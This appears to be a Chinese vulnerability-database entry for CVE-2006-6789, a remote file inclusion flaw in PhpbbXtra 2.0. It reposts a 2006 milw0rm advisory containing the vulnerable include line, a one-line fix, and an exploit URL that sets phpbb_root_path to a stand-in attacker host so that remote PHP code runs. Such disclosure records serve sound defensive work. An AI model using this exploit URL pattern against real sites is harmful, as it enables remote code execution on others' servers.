PHPBBXtra 'Archive_Topic.PHP'远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111863 漏洞类型 输入验证
发布时间 2006-12-25 更新时间 2007-01-02
CVE编号 CVE-2006-6789 CNNVD-ID CNNVD-200612-578
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/3006
https://cxsecurity.com/issue/WLB-2006120133
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200612-578
|漏洞详情
Phpbbxtra2.0的includes/archive/archive_topic.php中存在PHP远程文件包含漏洞。远程攻击者可以通过phpbb_root_path参数中的URL执行任意PHP代码。
|漏洞EXP
-----------------------------------------------

PhpbbXtra v2.0 (phpbb_root_path) Remote File Include Vulnerability

-----------------------------------------------

Author: xoron

-----------------------------------------------
 
Vuln Code: include($phpbb_root_path . 'includes/bbcode.'.$phpEx);

-----------------------------------------------

F!X:

-open /includes/archive/archive_topic.php this file

-write this code before vuln. code


if ( !defined('IN_PHPBB') )
{
    die('Hacking attempt');
}


- save and exit

-----------------------------------------------

exploit:

http://www.[target].com/[script_path]/includes/archive/archive_topic.php?phpbb_root_path=http://evil_scripts ?

-----------------------------------------------

download:http://sourceforge.net/project/showfiles.php?group_id=152219

-----------------------------------------------
XORON   -   XORON   -   XORON   -   XORON   -   XORON
-----------------------------------------------------------
-                                                         -
-                                                         -
- Tum muslumanlar.n kurban bayram. simdiden mubarek olsun -
-                                                         -
-                                                         -
-----------------------------------------------------------

# milw0rm.com [2006-12-25]
|参考资料

来源:BID
名称:21738
链接:http://www.securityfocus.com/bid/21738
来源:BUGTRAQ
名称:20061225PhpbbXtrav2.0(phpbb_root_path)RemoteFileIncludeVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/455304/100/0/threaded
来源:VUPEN
名称:ADV-2006-5186
链接:http://www.frsirt.com/english/advisories/2006/5186
来源:SECTRACK
名称:1017443
链接:http://securitytracker.com/id?1017443
来源:SECUNIA
名称:23496
链接:http://secunia.com/advisories/23496
来源:SREASON
名称:2065
链接:http://securityreason.com/securityalert/2065